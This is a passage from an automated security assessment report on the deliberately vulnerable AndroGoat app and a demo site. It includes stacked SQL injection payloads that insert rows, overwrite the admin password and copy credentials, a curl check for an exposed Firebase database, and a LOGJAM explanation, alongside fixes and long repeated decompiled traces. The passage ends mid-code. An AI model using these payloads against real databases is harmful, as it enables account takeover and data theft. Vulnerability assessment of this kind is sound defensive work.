[Simulated] A local simulated SQLite database with the exact `aGoat` schema was used to execute reconstructed payloads. The following results confirm arbitrary statement execution:

- **Quote escape / early termination via username field:** Input `test','test'); --` caused the database to execute `INSERT INTO users (username, password) VALUES('test','test'); --')` , effectively inserting `(test, test)` and commenting out the remainder.

- **Multi-statement injection via username field:** Input `test','test'); INSERT INTO users (username, password) VALUES('attacker','attacker'); --` resulted in **two discrete statements** executing. The simulation confirmed **two rows** were inserted, proving arbitrary secondary statement execution.
- **Multi-statement injection via password field:** Input `test'); INSERT INTO users (username, password) VALUES('attacker2','attacker2'); --` also resulted in **two rows** inserted, confirming both input fields are independently vulnerable.
- **Integrity compromise via UPDATE:** A stacked payload appended `UPDATE users SET password='hacked' WHERE username='admin'; --` after the `INSERT`. The simulation confirmed the `admin` password was permanently changed to `hacked`.
- **Data exfiltration via CREATE TABLE:** A stacked payload created a new table `stolen_data` and inserted all existing credentials into it, confirming full data exfiltration via attacker-controlled schema objects.

---

## Validation Evidence

### Root Cause

[Static Analysis] The JADX-decompiled source at `/workspace/source_code_analysis_b456ad45d2f249a09fc5ea8e695da9e6/base.apk/sources/owasp/sat/agoat/InsecureStorageSQLiteActivity.java` confirms the vulnerable sink at **line 80**. The `onCreate()` method (lines 44–90) obtains `EditText` handles for `R.id.userName` (line 58) and `R.id.password` (line 59), attaches a `Save` button (`R.id.SQLButton`) click listener (line 60), and inside `onClick()` (line 62) builds the query via direct string concatenation before passing it to `this.mDB.execSQL(qry)`. No `?` placeholders, `bindArgs`, or intermediate sanitization are present.

### Vulnerable Code

The decompiled Java source (transpiled from Kotlin by JADX) shows the exact concatenation pattern:

```
// InsecureStorageSQLiteActivity.java:47-52
this.mDB = openOrCreateDatabase("aGoat", 0, null);
this.mDB.execSQL("CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR)");

// InsecureStorageSQLiteActivity.java:58-59
final EditText username = (EditText) findViewById(R.id.userName);
final EditText password = (EditText) findViewById(R.id.password);

// InsecureStorageSQLiteActivity.java:80
String qry = "INSERT INTO users (username, password) VALUES('" +
    username.getText().toString() + "','" + password.getText().toString() + "')";
this.mDB.execSQL(qry);
```

The validation also confirmed that `Log.v("Query", qry)` (line 81) and `Log.d("Error", ...)` (line 84) write the full query string—including any injected payload—to system logs, providing an additional side-channel for an attacker with `READ_LOGS` or physical ADB access.

### Exploitation Evidence

[Static Analysis] Validation confirmed both input fields independently reach the vulnerable sink without validation, escaping, or whitelist logic. The layout XML (`activity_insecure_storage_sqlite.xml`) binds `R.id.userName` and `R.id.password` directly to the source `EditText` widgets, and backward tracing from line 80 reveals zero defensive controls.

Cross-activity impact was validated by analyzing `SQLinjectionActivity.java` (lines 45–97), which opens the identical database file:

```
// SQLinjectionActivity.java:64
SQLinjectionActivity.this.mDB = SQLinjectionActivity.this.openOrCreateDatabase("aGoat", 0, null);

// SQLinjectionActivity.java:56-62
StringBuilder sb = new StringBuilder();
sb.append("SELECT * FROM users WHERE username='");
sb.append(username2.getText().toString());
sb.append("'");
String qry = sb.toString();

// SQLinjectionActivity.java:69
QryResult = sQLiteDatabase.rawQuery(qry, null);
```

Because both activities reference the same `"aGoat"` database and `execSQL()` commits immediately to disk, any integrity-compromising stacked payload (e.g., `UPDATE`, `DELETE`, `CREATE TABLE`) executed via `InsecureStorageSQLiteActivity` is instantly visible to `SQLinjectionActivity`'s `SELECT` queries.

The manifest audit further amplifies impact: `android:allowBackup="true"` and `android:debuggable="true"` allow extraction and offline manipulation of the `aGoat` database via `adb backup` or `run-as`, while `cleartextTrafficPermitted="true"` and user-CA trust in `network_security_config.xml` enable trivial network interception.

### Recommendation

---

### Immediate Mitigation

Disable the `Save` button or add client-side input length restrictions as a temporary stopgap while the permanent fix is deployed. Remove `android:debuggable="true"` from the manifest.

### Permanent Fix

Replace the `execSQL()` call with `SQLiteDatabase.insert()` using `ContentValues`, which eliminates string concatenation entirely:

```
ContentValues values = new ContentValues();
values.put("username", userName.getText().toString());
values.put("password", password.getText().toString());
sQLiteDatabase.insert("users", null, values);
```

If the application must use `execSQL()` for schema management, ensure `execSQL()` is **never** invoked with strings containing user input. All data manipulation should use parameterized APIs (`insert()`, `update()`, `delete()`) or `SQLiteStatement` with bound parameters.

### Verification

1. Re-run static analysis to confirm zero occurrences of `execSQL()` concatenating user input.
2. Attempt multi-statement payloads such as `'); DELETE FROM users; --` against the fixed build and verify that only the intended single-row insert occurs.
3. Review the `users` table after each test interaction to confirm no unexpected schema changes or additional rows appear.

---

## HIGH 10. Publicly exposed Firebase Database

publicly exposing a Firebase database, which can lead to unauthorized access, data tampering, information disclosure, malicious attacks, and a loss of reputation.

Firebase is a mobile and web application development platform that provides various tools and services to developers, including a real-time database. If a Firebase database is publicly exposed, it means that anyone can access and manipulate the data stored in the database without any authentication or authorization.

The security impact of publicly exposing a Firebase database can be severe, as it can lead to the following security risks:

- Unauthorized access: Anyone can access the data in the database without authentication or authorization, which means that sensitive information stored in the database can be accessed by unauthorized users.
- Data tampering: Attackers can modify, add or delete data in the database, which can lead to data loss or inaccurate data, which can result in serious consequences for the application or business.
- Information disclosure: Attackers can access sensitive information such as passwords, personal information, financial data, and other confidential information that may be stored in the database.
- Malicious attacks: Attackers can launch various malicious attacks, such as injection attacks, cross-site scripting, and other types of attacks to exploit the vulnerabilities in the application that is connected to the Firebase database.
- Loss of reputation: If sensitive information is exposed, it can lead to a loss of trust and credibility among customers, which can have a significant impact on the reputation of the business.

To check if a Firebase database is publicly exposed, you can use the following curl command:

<> BASH

```
curl -X GET 'https://<project-id>.firebaseio.com/.json'
```

Replace `<project-id>` with the ID of the Firebase project you want to check. This command will attempt to retrieve the root node of the Firebase database in JSON format.

If the Firebase database is publicly exposed, you should be able to retrieve the data without any authentication or authorization.

If the database is secure and properly configured, you will receive an error message indicating that you are not authorized to access the data.

### Technical Details

#### Finding #1

Firebase `https://androgoat-42597.firebaseio.com` is **publicly** accessible and can be validated using the following command: `curl --request GET --url https://androgoat-42597.firebaseio.com/.json`, The key was found in `res/values/strings.xml`

### Recommendation

To make a Firebase database private, you can follow these technical steps:

- Enable Firebase Authentication: Firebase Authentication allows you to authenticate users and control access to your database. You can use Firebase Authentication to authenticate users using various providers, such as email and password, Google, Facebook, and more.
- Configure Firebase Security Rules: Firebase Security Rules allow you to define how your data should be accessed and which users can read or write to the database. You can define rules based on user authentication and specific data paths in the database.

### References

- Firebase Security Rules
- 10 Firebase Realtime Database Rule Templates

---

## HIGH 11. LOGJAM Common Prime Vulnerability

Use of widely-shared Diffie-Hellman primes enabling nation-state precomputed attacks against large portions of internet traffic.

This vulnerability indicates that the server uses widely-shared Diffie-Hellman prime numbers that enable efficient precomputed attacks, allowing nation-state adversaries to passively decrypt large amounts of internet traffic.

LOGJAM-common_primes occurs when servers use the same standard DH parameters (prime numbers) that are shared across millions of installations. While using shared primes was considered safe, the number field sieve algorithm allows attackers to precompute expensive cryptographic tables once per prime, then quickly break any connection using that prime.

### How It Works:

1. Attacker identifies widely-used DH primes (e.g., default Apache/OpenSSL parameters)
2. Performs expensive precomputation (weeks of compute time) for target prime
3. Passively captures DH key exchanges from any server using that prime
4. Uses precomputed tables to break individual connections in minutes
5. Scales attack across millions of servers sharing the same prime

### Requirements:

- Server uses common/default DH prime numbers (1024-bit or smaller)
- Significant computational resources for initial precomputation (~$100M for 1024-bit)
- Ability to capture network traffic from target connections
- No man-in-the-middle capability needed - purely passive attack

**Example Scenario:** A major cloud provider uses default 1024-bit DH parameters across thousands of servers. A nation-state actor spends months precomputing cryptographic tables for this specific prime. Once complete, they can passively monitor internet traffic and decrypt any TLS connection to these servers in real-time, affecting millions of users without any active interference or detection.

Breaking the single most common 1024-bit prime would allow passive eavesdropping on 18% of top HTTPS domains, while breaking the two most common primes would compromise 66% of VPN servers and 26% of SSH servers globally.

### Technical Details

Finding #1

**LOGJAM-common_primes** detected on `demo.testfire.net`

- **Finding**: RFC2409/Oakley Group 2

### Recommendation

To mitigate LOGJAM common prime attacks:

**Primary Defense - Generate Unique DH Parameters:**

```
# Generate unique 2048-bit DH parameters
openssl dhparam -out unique-dhparams.pem 2048

# Apache: use custom parameters
SSLOpenSSLConfCmd DHParameters /path/to/unique-dhparams.pem

# Nginx: specify unique parameters
ssl_dhparam /path/to/unique-dhparams.pem;
```

**Avoid Default/Common Primes:**

Never use these widely-compromised primes:

- Default Apache 512-bit prime (used by millions of servers)
- Default OpenSSL 512-bit prime (in SSLeay since 1995)
- RFC 5114 standard primes (potentially NSA-influenced)

**Migrate to ECDHE:**

Best solution - eliminate DH vulnerability entirely:

```
# Apache: prioritize ECDHE over DHE
SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:!DHE

# Nginx: use only ECDHE ciphers
ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:!DHE;
```

**Use Minimum 2048-bit Parameters:**

If DHE is required:

```
# Ensure minimum key size
ssl_dhparam_size 2048;  # Nginx
```

**Testing for Common Primes:**

```
# Extract DH parameters from server
openssl s_client -connect example.com:443 -cipher DHE 2>&1 | \
  openssl dhparam -inform PEM -text -noout

# Compare against known vulnerable primes
# Check if prime matches Apache default or other common values
```

**Additional Protections:**

- Use TLS 1.3 which eliminates finite-field DH entirely
- Implement certificate pinning to detect MITM attempts
- Monitor for unusual connection patterns indicating bulk traffic analysis
- Consider Perfect Forward Secrecy implications when choosing cipher suites

**Critical Insight:** Even strong 1024-bit DH parameters become vulnerable when shared across many servers, as the precomputation cost can be amortized. Uniqueness matters as much as size.

### References

- Common Prime Analysis
- Weak DH Research
- Technical Paper

---

## HIGH 12. Mobile SQL Injection Vulnerability

Mobile SQL Injection vulnerability allows an attacker to execute malicious SQL queries on a mobile application's database, potentially leading to unauthorized access, data leakage, or data manipulation.

Mobile SQL Injection is a vulnerability that allows attackers to inject malicious SQL statements into mobile applications, potentially gaining unauthorized access to sensitive data or manipulating the database.

### Examples

Kotlin

```
 kotlin
import java.sql.Connection
import java.sql.DriverManager
import java.sql.PreparedStatement
import java.sql.ResultSet

fun main() {
    val input = readLine() ?: ""
    val connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydatabase", "username", "password")
```

```
    val statement = connection.prepareStatement("SELECT * FROM users WHERE username = ?")
    statement.setString(1, input)
    val resultSet = statement.executeQuery()

    while (resultSet.next()) {
        val username = resultSet.getString("username")
        val password = resultSet.getString("password")
        println("Username: $username, Password: $password")
    }

    resultSet.close()
    statement.close()
    connection.close()
}
```

### Technical Details

#### Finding #1

The parameter at position: `0` of the method `execSQL` in the class `SQLiteDatabase` may be vulnerable to SQL injection. Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSQLiteActivity` . The TaintElement is coming from: Class `InsecureStorageSQLiteActivity` Method `onCreate` Position `0` Signature `(Landroid/os/Bundle;)V` . Call trace:

```
 at android.database.sqlite.SQLiteDatabase.execSQL
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick
at owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.<init>
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate
at android.support.v7.app.AppCompatActivity.onCreate
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate
```

at `android.database.sqlite.SQLiteDatabase.execSQL`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p7)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(INSERT INTO users (username, password) VALUES(');
        String v1_8 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
        v0_1.append(v1_8.getText().toString());
        v0_1.append(',');
        String v1_2 = this.$password;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
        v0_1.append(v1_2.getText().toString());
        v0_1.append('));
        String v0_2 = v0_1.toString();
        try {
            android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
        } catch (android.widget.Toast v2_3) {
            CharSequence v3_1 = new StringBuilder();
            v3_1.append(Error occurred when inserting data into database: );
            v3_1.append(v2_3.getMessage());
            android.util.Log.d(Error, v3_1.toString());
            CharSequence v3_4 = this.this$0.getApplicationContext();
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(Data not saved: Error occured - );
            v4_4.append(v2_3.getMessage());
            android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v2_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v2_2.execSQL(v0_2);
        android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
```

```
        android.util.Log.v(Query, v0_2);
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick`

```
public final void onClick(android.view.View p7)
{
    String v0_1 = new StringBuilder();
    v0_1.append(INSERT INTO users (username, password) VALUES(');
    String v1_8 = this.$username;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
    v0_1.append(v1_8.getText().toString());
    v0_1.append(',');
    String v1_2 = this.$password;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
    v0_1.append(v1_2.getText().toString());
    v0_1.append('));
    String v0_2 = v0_1.toString();
    try {
        android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
    } catch (android.widget.Toast v2_3) {
        CharSequence v3_1 = new StringBuilder();
        v3_1.append(Error occurred when inserting data into database: );
        v3_1.append(v2_3.getMessage());
        android.util.Log.d(Error, v3_1.toString());
        CharSequence v3_4 = this.this$0.getApplicationContext();
        CharSequence v4_4 = new StringBuilder();
        v4_4.append(Data not saved: Error occured - );
        v4_4.append(v2_3.getMessage());
        android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
    if (v2_2 == null) {
        kotlin.jvm.internal.Intrinsics.throwNpe();
    }
    v2_2.execSQL(v0_2);
    android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
    android.util.Log.v(Query, v0_2);
    return;
}
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p`

```
public static final synthetic android.database.sqlite.SQLiteDatabase access$getMDB$p(owasp.sat.agoat.InsecureStorageSQLiteActivity p1)
{
    return p1.mDB;
}
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick`

```
public final void onClick(android.view.View p7)
{
    String v0_1 = new StringBuilder();
    v0_1.append(INSERT INTO users (username, password) VALUES(');
    String v1_8 = this.$username;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
    v0_1.append(v1_8.getText().toString());
    v0_1.append(',');
    String v1_2 = this.$password;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
    v0_1.append(v1_2.getText().toString());
    v0_1.append('));
    String v0_2 = v0_1.toString();
    try {
        android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
    } catch (android.widget.Toast v2_3) {
        CharSequence v3_1 = new StringBuilder();
        v3_1.append(Error occurred when inserting data into database: );
        v3_1.append(v2_3.getMessage());
```

```
            android.util.Log.d(Error, v3_1.toString());
            CharSequence v3_4 = this.this$0.getApplicationContext();
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(Data not saved: Error occured - );
            v4_4.append(v2_3.getMessage());
            android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v2_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v2_2.execSQL(v0_2);
        android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.<init>`

```
    InsecureStorageSQLiteActivity$onCreate$1(owasp.sat.agoat.InsecureStorageSQLiteActivity p1, android.widget.EditText p2,
android.widget.EditText p3)
    {
        this.this$0 = p1;
        this.$username = p2;
        this.$password = p3;
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
```

```
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

at `android.support.v7.app.AppCompatActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #2

User controlled parameter is used to construct an SQL parameter vulnerable to SQL injection Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSQLiteActivity` found at `owasp.sat.agoat.InsecureStorageSQLiteActivity`. From parameter `0` to sink `void android.database.sqlite.SQLiteDatabase.execSQL(java.lang.String)`. Taint trace:

```
at android.database.sqlite.SQLiteDatabase.execSQL()
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.<init>()
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick()` :

```
public final void onClick(android.view.View p7)
{
    String v0_1 = new StringBuilder();
    v0_1.append(INSERT INTO users (username, password) VALUES(');
    String v1_8 = this.$username;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
    v0_1.append(v1_8.getText().toString());
    v0_1.append(',');
    String v1_2 = this.$password;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
    v0_1.append(v1_2.getText().toString());
    v0_1.append('));
    String v0_2 = v0_1.toString();
    try {
        android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
    } catch (android.widget.Toast v2_3) {
        CharSequence v3_1 = new StringBuilder();
        v3_1.append(Error occurred when inserting data into database: );
        v3_1.append(v2_3.getMessage());
        android.util.Log.d(Error, v3_1.toString());
        CharSequence v3_4 = this.this$0.getApplicationContext();
        CharSequence v4_4 = new StringBuilder();
        v4_4.append(Data not saved: Error occured - );
        v4_4.append(v2_3.getMessage());
        android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
    if (v2_2 == null) {
        kotlin.jvm.internal.Intrinsics.throwNpe();
    }
    v2_2.execSQL(v0_2);
    android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
    android.util.Log.v(Query, v0_2);
    return;
}
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick()` :

```
public final void onClick(android.view.View p7)
{
    String v0_1 = new StringBuilder();
    v0_1.append(INSERT INTO users (username, password) VALUES(');
    String v1_8 = this.$username;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
    v0_1.append(v1_8.getText().toString());
    v0_1.append(',');
    String v1_2 = this.$password;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
    v0_1.append(v1_2.getText().toString());
    v0_1.append('));
    String v0_2 = v0_1.toString();
    try {
        android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
    } catch (android.widget.Toast v2_3) {
        CharSequence v3_1 = new StringBuilder();
        v3_1.append(Error occurred when inserting data into database: );
        v3_1.append(v2_3.getMessage());
        android.util.Log.d(Error, v3_1.toString());
        CharSequence v3_4 = this.this$0.getApplicationContext();
        CharSequence v4_4 = new StringBuilder();
```

```
            v4_4.append(Data not saved: Error occured - );
            v4_4.append(v2_3.getMessage());
            android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v2_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v2_2.execSQL(v0_2);
        android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(INSERT INTO users (username, password) VALUES(');
        String v1_8 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
        v0_1.append(v1_8.getText().toString());
        v0_1.append(',');
        String v1_2 = this.$password;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
        v0_1.append(v1_2.getText().toString());
        v0_1.append('));
        String v0_2 = v0_1.toString();
        try {
            android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
        } catch (android.widget.Toast v2_3) {
            CharSequence v3_1 = new StringBuilder();
            v3_1.append(Error occurred when inserting data into database: );
            v3_1.append(v2_3.getMessage());
            android.util.Log.d(Error, v3_1.toString());
            CharSequence v3_4 = this.this$0.getApplicationContext();
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(Data not saved: Error occured - );
            v4_4.append(v2_3.getMessage());
            android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v2_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v2_2.execSQL(v0_2);
        android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
```

```
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.<init>()` :

```
    InsecureStorageSQLiteActivity$onCreate$1(owasp.sat.agoat.InsecureStorageSQLiteActivity p1, android.widget.EditText p2,
android.widget.EditText p3)
    {
        this.this$0 = p1;
        this.$username = p2;
        this.$password = p3;
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
